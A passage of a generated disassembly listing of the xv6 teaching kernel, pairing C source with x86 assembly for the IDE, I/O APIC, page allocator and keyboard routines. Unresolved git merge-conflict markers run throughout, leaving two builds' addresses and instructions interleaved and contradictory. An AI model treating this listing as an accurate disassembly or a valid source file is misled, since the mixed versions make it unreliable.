sleep(b, &idelock);
}
release(&idelock);
801021aa: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp)
}
801021b1: 83 c4 14 add $0x14,%esp
801021b4: 5b pop %ebx
801021b5: 5d pop %ebp
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
sleep(b, &idelock);
}
release(&idelock);
<<<<<<< HEAD
80102176: e9 75 25 00 00 jmp 801046f0 <release>
=======
801021b6: e9 f5 22 00 00 jmp 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
acquire(&idelock); //DOC:acquire-lock
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
801021bb: b8 64 a5 10 80 mov $0x8010a564,%eax
801021c0: eb ba jmp 8010217c <iderw+0x6c>
;
*pp = b;
// Start disk if necessary.
if(idequeue == b)
idestart(b);
801021c2: 89 d8 mov %ebx,%eax
801021c4: e8 57 fd ff ff call 80101f20 <idestart>
801021c9: eb bb jmp 80102186 <iderw+0x76>
iderw(struct buf *b)
{
struct buf **pp;
if(!holdingsleep(&b->lock))
panic("iderw: buf not locked");
<<<<<<< HEAD
8010218b: 83 ec 0c sub $0xc,%esp
8010218e: 68 16 75 10 80 push $0x80107516
80102193: e8 d8 e1 ff ff call 80100370 <panic>
=======
801021cb: c7 04 24 96 72 10 80 movl $0x80107296,(%esp)
801021d2: e8 89 e1 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
panic("iderw: ide disk 1 not present");
<<<<<<< HEAD
80102198: 83 ec 0c sub $0xc,%esp
8010219b: 68 41 75 10 80 push $0x80107541
801021a0: e8 cb e1 ff ff call 80100370 <panic>
=======
801021d7: c7 04 24 c1 72 10 80 movl $0x801072c1,(%esp)
801021de: e8 7d e1 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct buf **pp;
if(!holdingsleep(&b->lock))
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
panic("iderw: nothing to do");
<<<<<<< HEAD
801021a5: 83 ec 0c sub $0xc,%esp
801021a8: 68 2c 75 10 80 push $0x8010752c
801021ad: e8 be e1 ff ff call 80100370 <panic>
801021b2: 66 90 xchg %ax,%ax
801021b4: 66 90 xchg %ax,%ax
801021b6: 66 90 xchg %ax,%ax
801021b8: 66 90 xchg %ax,%ax
801021ba: 66 90 xchg %ax,%ax
801021bc: 66 90 xchg %ax,%ax
801021be: 66 90 xchg %ax,%ax
801021c0 <ioapicinit>:
=======
801021e3: c7 04 24 ac 72 10 80 movl $0x801072ac,(%esp)
801021ea: e8 71 e1 ff ff call 80100360 <panic>
801021ef: 90 nop
801021f0 <ioapicinit>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
ioapicinit(void)
{
int i, id, maxintr;
if(!ismp)
801021f0: a1 84 27 11 80 mov 0x80112784,%eax
801021f5: 85 c0 test %eax,%eax
801021f7: 0f 84 9b 00 00 00 je 80102298 <ioapicinit+0xa8>
ioapic->data = data;
}
void
ioapicinit(void)
{
801021fd: 55 push %ebp
801021fe: 89 e5 mov %esp,%ebp
80102200: 56 push %esi
80102201: 53 push %ebx
80102202: 83 ec 10 sub $0x10,%esp
int i, id, maxintr;
if(!ismp)
return;
ioapic = (volatile struct ioapic*)IOAPIC;
80102205: c7 05 54 26 11 80 00 movl $0xfec00000,0x80112654
8010220c: 00 c0 fe
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
8010220f: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000
80102216: 00 00 00
return ioapic->data;
80102219: 8b 15 54 26 11 80 mov 0x80112654,%edx
8010221f: 8b 42 10 mov 0x10(%edx),%eax
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
80102222: c7 02 00 00 00 00 movl $0x0,(%edx)
return ioapic->data;
80102228: 8b 1d 54 26 11 80 mov 0x80112654,%ebx
return;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
8010222e: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx
if(!ismp)
return;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
80102235: c1 e8 10 shr $0x10,%eax
80102238: 0f b6 f0 movzbl %al,%esi
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
return ioapic->data;
8010223b: 8b 43 10 mov 0x10(%ebx),%eax
if(!ismp)
return;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
8010223e: c1 e8 18 shr $0x18,%eax
if(id != ioapicid)
80102241: 39 c2 cmp %eax,%edx
80102243: 74 12 je 80102257 <ioapicinit+0x67>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
<<<<<<< HEAD
80102214: 83 ec 0c sub $0xc,%esp
80102217: 68 60 75 10 80 push $0x80107560
8010221c: e8 3f e4 ff ff call 80100660 <cprintf>
80102221: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
80102227: 83 c4 10 add $0x10,%esp
8010222a: 83 c6 21 add $0x21,%esi
ioapic->data = data;
}
void
ioapicinit(void)
{
8010222d: ba 10 00 00 00 mov $0x10,%edx
80102232: b8 20 00 00 00 mov $0x20,%eax
80102237: 89 f6 mov %esi,%esi
80102239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80102245: c7 04 24 e0 72 10 80 movl $0x801072e0,(%esp)
8010224c: e8 ff e3 ff ff call 80100650 <cprintf>
80102251: 8b 1d 54 26 11 80 mov 0x80112654,%ebx
80102257: ba 10 00 00 00 mov $0x10,%edx
8010225c: 31 c0 xor %eax,%eax
8010225e: eb 02 jmp 80102262 <ioapicinit+0x72>
80102260: 89 cb mov %ecx,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
80102262: 89 13 mov %edx,(%ebx)
ioapic->data = data;
80102264: 8b 1d 54 26 11 80 mov 0x80112654,%ebx
8010226a: 8d 48 20 lea 0x20(%eax),%ecx
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
8010226d: 81 c9 00 00 01 00 or $0x10000,%ecx
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80102273: 83 c0 01 add $0x1,%eax
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
80102276: 89 4b 10 mov %ecx,0x10(%ebx)
80102279: 8d 4a 01 lea 0x1(%edx),%ecx
8010227c: 83 c2 02 add $0x2,%edx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
8010227f: 89 0b mov %ecx,(%ebx)
ioapic->data = data;
80102281: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80102287: 39 c6 cmp %eax,%esi
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
80102289: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx)
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
80102290: 7d ce jge 80102260 <ioapicinit+0x70>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
80102292: 83 c4 10 add $0x10,%esp
80102295: 5b pop %ebx
80102296: 5e pop %esi
80102297: 5d pop %ebp
80102298: f3 c3 repz ret
8010229a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801022a0 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
if(!ismp)
801022a0: 8b 15 84 27 11 80 mov 0x80112784,%edx
}
}
void
ioapicenable(int irq, int cpunum)
{
801022a6: 55 push %ebp
801022a7: 89 e5 mov %esp,%ebp
801022a9: 8b 45 08 mov 0x8(%ebp),%eax
if(!ismp)
801022ac: 85 d2 test %edx,%edx
801022ae: 74 29 je 801022d9 <ioapicenable+0x39>
return;
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
801022b0: 8d 48 20 lea 0x20(%eax),%ecx
801022b3: 8d 54 00 10 lea 0x10(%eax,%eax,1),%edx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022b7: a1 54 26 11 80 mov 0x80112654,%eax
801022bc: 89 10 mov %edx,(%eax)
ioapic->data = data;
801022be: a1 54 26 11 80 mov 0x80112654,%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022c3: 83 c2 01 add $0x1,%edx
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
801022c6: 89 48 10 mov %ecx,0x10(%eax)
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022c9: 8b 4d 0c mov 0xc(%ebp),%ecx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022cc: 89 10 mov %edx,(%eax)
ioapic->data = data;
801022ce: a1 54 26 11 80 mov 0x80112654,%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022d3: c1 e1 18 shl $0x18,%ecx
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
801022d6: 89 48 10 mov %ecx,0x10(%eax)
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
}
801022d9: 5d pop %ebp
801022da: c3 ret
801022db: 66 90 xchg %ax,%ax
801022dd: 66 90 xchg %ax,%ax
801022df: 90 nop
801022e0 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
801022e0: 55 push %ebp
801022e1: 89 e5 mov %esp,%ebp
801022e3: 53 push %ebx
801022e4: 83 ec 14 sub $0x14,%esp
801022e7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
801022ea: f7 c3 ff 0f 00 00 test $0xfff,%ebx
801022f0: 75 7c jne 8010236e <kfree+0x8e>
801022f2: 81 fb 28 56 11 80 cmp $0x80115628,%ebx
801022f8: 72 74 jb 8010236e <kfree+0x8e>
801022fa: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80102300: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102305: 77 67 ja 8010236e <kfree+0x8e>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
<<<<<<< HEAD
801022e7: 83 ec 04 sub $0x4,%esp
801022ea: 68 00 10 00 00 push $0x1000
801022ef: 6a 01 push $0x1
801022f1: 53 push %ebx
801022f2: e8 49 24 00 00 call 80104740 <memset>
=======
80102307: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010230e: 00
8010230f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102316: 00
80102317: 89 1c 24 mov %ebx,(%esp)
8010231a: e8 e1 21 00 00 call 80104500 <memset>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(kmem.use_lock)
8010231f: 8b 15 94 26 11 80 mov 0x80112694,%edx
80102325: 85 d2 test %edx,%edx
80102327: 75 37 jne 80102360 <kfree+0x80>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102329: a1 98 26 11 80 mov 0x80112698,%eax
8010232e: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
if(kmem.use_lock)
80102330: a1 94 26 11 80 mov 0x80112694,%eax
if(kmem.use_lock)
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
80102335: 89 1d 98 26 11 80 mov %ebx,0x80112698
if(kmem.use_lock)
8010233b: 85 c0 test %eax,%eax
8010233d: 75 09 jne 80102348 <kfree+0x68>
release(&kmem.lock);
}
8010233f: 83 c4 14 add $0x14,%esp
80102342: 5b pop %ebx
80102343: 5d pop %ebp
80102344: c3 ret
80102345: 8d 76 00 lea 0x0(%esi),%esi
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
if(kmem.use_lock)
release(&kmem.lock);
80102348: c7 45 08 60 26 11 80 movl $0x80112660,0x8(%ebp)
}
8010234f: 83 c4 14 add $0x14,%esp
80102352: 5b pop %ebx
80102353: 5d pop %ebp
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
if(kmem.use_lock)
release(&kmem.lock);
<<<<<<< HEAD
8010232b: e9 c0 23 00 00 jmp 801046f0 <release>
=======
80102354: e9 57 21 00 00 jmp 801044b0 <release>
80102359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
if(kmem.use_lock)
acquire(&kmem.lock);
<<<<<<< HEAD
80102330: 83 ec 0c sub $0xc,%esp
80102333: 68 60 26 11 80 push $0x80112660
80102338: e8 d3 21 00 00 call 80104510 <acquire>
8010233d: 83 c4 10 add $0x10,%esp
80102340: eb c2 jmp 80102304 <kfree+0x44>
=======
80102360: c7 04 24 60 26 11 80 movl $0x80112660,(%esp)
80102367: e8 14 20 00 00 call 80104380 <acquire>
8010236c: eb bb jmp 80102329 <kfree+0x49>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
kfree(char *v)
{
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
panic("kfree");
<<<<<<< HEAD
80102342: 83 ec 0c sub $0xc,%esp
80102345: 68 92 75 10 80 push $0x80107592
8010234a: e8 21 e0 ff ff call 80100370 <panic>
8010234f: 90 nop
=======
8010236e: c7 04 24 12 73 10 80 movl $0x80107312,(%esp)
80102375: e8 e6 df ff ff call 80100360 <panic>
8010237a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80102380 <freerange>:
kmem.use_lock = 1;
}
void
freerange(void *vstart, void *vend)
{
80102380: 55 push %ebp
80102381: 89 e5 mov %esp,%ebp
80102383: 56 push %esi
80102384: 53 push %ebx
80102385: 83 ec 10 sub $0x10,%esp
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102388: 8b 45 08 mov 0x8(%ebp),%eax
kmem.use_lock = 1;
}
void
freerange(void *vstart, void *vend)
{
8010238b: 8b 75 0c mov 0xc(%ebp),%esi
char *p;
p = (char*)PGROUNDUP((uint)vstart);
8010238e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102394: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010239a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
801023a0: 39 de cmp %ebx,%esi
801023a2: 73 08 jae 801023ac <freerange+0x2c>
801023a4: eb 18 jmp 801023be <freerange+0x3e>
801023a6: 66 90 xchg %ax,%ax
801023a8: 89 da mov %ebx,%edx
801023aa: 89 c3 mov %eax,%ebx
kfree(p);
801023ac: 89 14 24 mov %edx,(%esp)
801023af: e8 2c ff ff ff call 801022e0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023b4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
801023ba: 39 f0 cmp %esi,%eax
801023bc: 76 ea jbe 801023a8 <freerange+0x28>
kfree(p);
}
801023be: 83 c4 10 add $0x10,%esp
801023c1: 5b pop %ebx
801023c2: 5e pop %esi
801023c3: 5d pop %ebp
801023c4: c3 ret
801023c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801023c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801023d0 <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
801023d0: 55 push %ebp
801023d1: 89 e5 mov %esp,%ebp
801023d3: 56 push %esi
801023d4: 53 push %ebx
801023d5: 83 ec 10 sub $0x10,%esp
801023d8: 8b 75 0c mov 0xc(%ebp),%esi
initlock(&kmem.lock, "kmem");
<<<<<<< HEAD
801023a8: 83 ec 08 sub $0x8,%esp
801023ab: 68 98 75 10 80 push $0x80107598
801023b0: 68 60 26 11 80 push $0x80112660
801023b5: e8 36 21 00 00 call 801044f0 <initlock>
=======
801023db: c7 44 24 04 18 73 10 movl $0x80107318,0x4(%esp)
801023e2: 80
801023e3: c7 04 24 60 26 11 80 movl $0x80112660,(%esp)
801023ea: e8 11 1f 00 00 call 80104300 <initlock>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
801023ef: 8b 45 08 mov 0x8(%ebp),%eax
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
801023f2: c7 05 94 26 11 80 00 movl $0x0,0x80112694
801023f9: 00 00 00
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
801023fc: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102402: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102408: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
8010240e: 39 de cmp %ebx,%esi
80102410: 73 0a jae 8010241c <kinit1+0x4c>
80102412: eb 1a jmp 8010242e <kinit1+0x5e>
80102414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102418: 89 da mov %ebx,%edx
8010241a: 89 c3 mov %eax,%ebx
kfree(p);
8010241c: 89 14 24 mov %edx,(%esp)
8010241f: e8 bc fe ff ff call 801022e0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102424: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010242a: 39 c6 cmp %eax,%esi
8010242c: 73 ea jae 80102418 <kinit1+0x48>
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
freerange(vstart, vend);
}
8010242e: 83 c4 10 add $0x10,%esp
80102431: 5b pop %ebx
80102432: 5e pop %esi
80102433: 5d pop %ebp
80102434: c3 ret
80102435: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102440 <kinit2>:
void
kinit2(void *vstart, void *vend)
{
80102440: 55 push %ebp
80102441: 89 e5 mov %esp,%ebp
80102443: 56 push %esi
80102444: 53 push %ebx
80102445: 83 ec 10 sub $0x10,%esp
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102448: 8b 45 08 mov 0x8(%ebp),%eax
freerange(vstart, vend);
}
void
kinit2(void *vstart, void *vend)
{
8010244b: 8b 75 0c mov 0xc(%ebp),%esi
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
8010244e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102454: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010245a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
80102460: 39 de cmp %ebx,%esi
80102462: 73 08 jae 8010246c <kinit2+0x2c>
80102464: eb 18 jmp 8010247e <kinit2+0x3e>
80102466: 66 90 xchg %ax,%ax
80102468: 89 da mov %ebx,%edx
8010246a: 89 c3 mov %eax,%ebx
kfree(p);
8010246c: 89 14 24 mov %edx,(%esp)
8010246f: e8 6c fe ff ff call 801022e0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102474: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010247a: 39 c6 cmp %eax,%esi
8010247c: 73 ea jae 80102468 <kinit2+0x28>
void
kinit2(void *vstart, void *vend)
{
freerange(vstart, vend);
kmem.use_lock = 1;
8010247e: c7 05 94 26 11 80 01 movl $0x1,0x80112694
80102485: 00 00 00
}
80102488: 83 c4 10 add $0x10,%esp
8010248b: 5b pop %ebx
8010248c: 5e pop %esi
8010248d: 5d pop %ebp
8010248e: c3 ret
8010248f: 90 nop
80102490 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102490: 55 push %ebp
80102491: 89 e5 mov %esp,%ebp
80102493: 53 push %ebx
80102494: 83 ec 14 sub $0x14,%esp
struct run *r;
if(kmem.use_lock)
80102497: a1 94 26 11 80 mov 0x80112694,%eax
8010249c: 85 c0 test %eax,%eax
8010249e: 75 30 jne 801024d0 <kalloc+0x40>
acquire(&kmem.lock);
r = kmem.freelist;
801024a0: 8b 1d 98 26 11 80 mov 0x80112698,%ebx
if(r)
801024a6: 85 db test %ebx,%ebx
801024a8: 74 08 je 801024b2 <kalloc+0x22>
kmem.freelist = r->next;
801024aa: 8b 13 mov (%ebx),%edx
801024ac: 89 15 98 26 11 80 mov %edx,0x80112698
if(kmem.use_lock)
801024b2: 85 c0 test %eax,%eax
801024b4: 74 0c je 801024c2 <kalloc+0x32>
release(&kmem.lock);
<<<<<<< HEAD
80102496: 83 ec 0c sub $0xc,%esp
80102499: 68 60 26 11 80 push $0x80112660
8010249e: e8 4d 22 00 00 call 801046f0 <release>
801024a3: 83 c4 10 add $0x10,%esp
=======
801024b6: c7 04 24 60 26 11 80 movl $0x80112660,(%esp)
801024bd: e8 ee 1f 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return (char*)r;
}
801024c2: 83 c4 14 add $0x14,%esp
801024c5: 89 d8 mov %ebx,%eax
801024c7: 5b pop %ebx
801024c8: 5d pop %ebp
801024c9: c3 ret
801024ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
kalloc(void)
{
struct run *r;
if(kmem.use_lock)
acquire(&kmem.lock);
<<<<<<< HEAD
801024b0: 83 ec 0c sub $0xc,%esp
801024b3: 68 60 26 11 80 push $0x80112660
801024b8: e8 53 20 00 00 call 80104510 <acquire>
r = kmem.freelist;
801024bd: 8b 1d 98 26 11 80 mov 0x80112698,%ebx
if(r)
801024c3: 83 c4 10 add $0x10,%esp
801024c6: a1 94 26 11 80 mov 0x80112694,%eax
801024cb: 85 db test %ebx,%ebx
801024cd: 75 bb jne 8010248a <kalloc+0x1a>
801024cf: eb c1 jmp 80102492 <kalloc+0x22>
801024d1: 66 90 xchg %ax,%ax
801024d3: 66 90 xchg %ax,%ax
801024d5: 66 90 xchg %ax,%ax
801024d7: 66 90 xchg %ax,%ax
801024d9: 66 90 xchg %ax,%ax
801024db: 66 90 xchg %ax,%ax
801024dd: 66 90 xchg %ax,%ax
801024df: 90 nop
801024e0 <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
801024e0: 55 push %ebp
=======
801024d0: c7 04 24 60 26 11 80 movl $0x80112660,(%esp)
801024d7: e8 a4 1e 00 00 call 80104380 <acquire>
801024dc: a1 94 26 11 80 mov 0x80112694,%eax
801024e1: eb bd jmp 801024a0 <kalloc+0x10>
801024e3: 66 90 xchg %ax,%ax
801024e5: 66 90 xchg %ax,%ax
801024e7: 66 90 xchg %ax,%ax
801024e9: 66 90 xchg %ax,%ax
801024eb: 66 90 xchg %ax,%ax
801024ed: 66 90 xchg %ax,%ax
801024ef: 90 nop
801024f0 <kbdgetc>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801024f0: ba 64 00 00 00 mov $0x64,%edx
801024f5: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
801024f6: a8 01 test $0x1,%al
801024f8: 0f 84 ba 00 00 00 je 801025b8 <kbdgetc+0xc8>
801024fe: b2 60 mov $0x60,%dl
80102500: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
80102501: 0f b6 c8 movzbl %al,%ecx
if(data == 0xE0){
80102504: 81 f9 e0 00 00 00 cmp $0xe0,%ecx
8010250a: 0f 84 88 00 00 00 je 80102598 <kbdgetc+0xa8>
shift |= E0ESC;
return 0;
} else if(data & 0x80){
80102510: 84 c0 test %al,%al
80102512: 79 2c jns 80102540 <kbdgetc+0x50>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102514: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx
8010251a: f6 c2 40 test $0x40,%dl
8010251d: 75 05 jne 80102524 <kbdgetc+0x34>
8010251f: 89 c1 mov %eax,%ecx
80102521: 83 e1 7f and $0x7f,%ecx
shift &= ~(shiftcode[data] | E0ESC);
<<<<<<< HEAD
80102516: 0f b6 82 c0 76 10 80 movzbl -0x7fef8940(%edx),%eax
8010251d: 83 c8 40 or $0x40,%eax
80102520: 0f b6 c0 movzbl %al,%eax
80102523: f7 d0 not %eax
80102525: 21 c8 and %ecx,%eax
80102527: a3 b4 a5 10 80 mov %eax,0x8010a5b4
=======
80102524: 0f b6 81 40 74 10 80 movzbl -0x7fef8bc0(%ecx),%eax
8010252b: 83 c8 40 or $0x40,%eax
8010252e: 0f b6 c0 movzbl %al,%eax
80102531: f7 d0 not %eax
80102533: 21 d0 and %edx,%eax
80102535: a3 b4 a5 10 80 mov %eax,0x8010a5b4
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return 0;
8010253a: 31 c0 xor %eax,%eax
8010253c: c3 ret
8010253d: 8d 76 00 lea 0x0(%esi),%esi
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
80102540: 55 push %ebp
80102541: 89 e5 mov %esp,%ebp
80102543: 53 push %ebx
80102544: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx
} else if(data & 0x80){
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
8010254a: f6 c3 40 test $0x40,%bl
8010254d: 74 09 je 80102558 <kbdgetc+0x68>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
8010254f: 83 c8 80 or $0xffffff80,%eax
shift &= ~E0ESC;
80102552: 83 e3 bf and $0xffffffbf,%ebx
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
// Last character was an E0 escape; or with 0x80
data |= 0x80;
80102555: 0f b6 c8 movzbl %al,%ecx
shift &= ~E0ESC;
}
shift |= shiftcode[data];
80102558: 0f b6 91 40 74 10 80 movzbl -0x7fef8bc0(%ecx),%edx
shift ^= togglecode[data];
<<<<<<< HEAD
8010253e: 0f b6 82 c0 76 10 80 movzbl -0x7fef8940(%edx),%eax
80102545: 09 c1 or %eax,%ecx
80102547: 0f b6 82 c0 75 10 80 movzbl -0x7fef8a40(%edx),%eax
8010254e: 31 c1 xor %eax,%ecx
=======
8010255f: 0f b6 81 40 73 10 80 movzbl -0x7fef8cc0(%ecx),%eax
// Last character was an E0 escape; or with 0x80
data |= 0x80;
shift &= ~E0ESC;
}
shift |= shiftcode[data];
80102566: 09 da or %ebx,%edx
shift ^= togglecode[data];
80102568: 31 c2 xor %eax,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
c = charcode[shift & (CTL | SHIFT)][data];
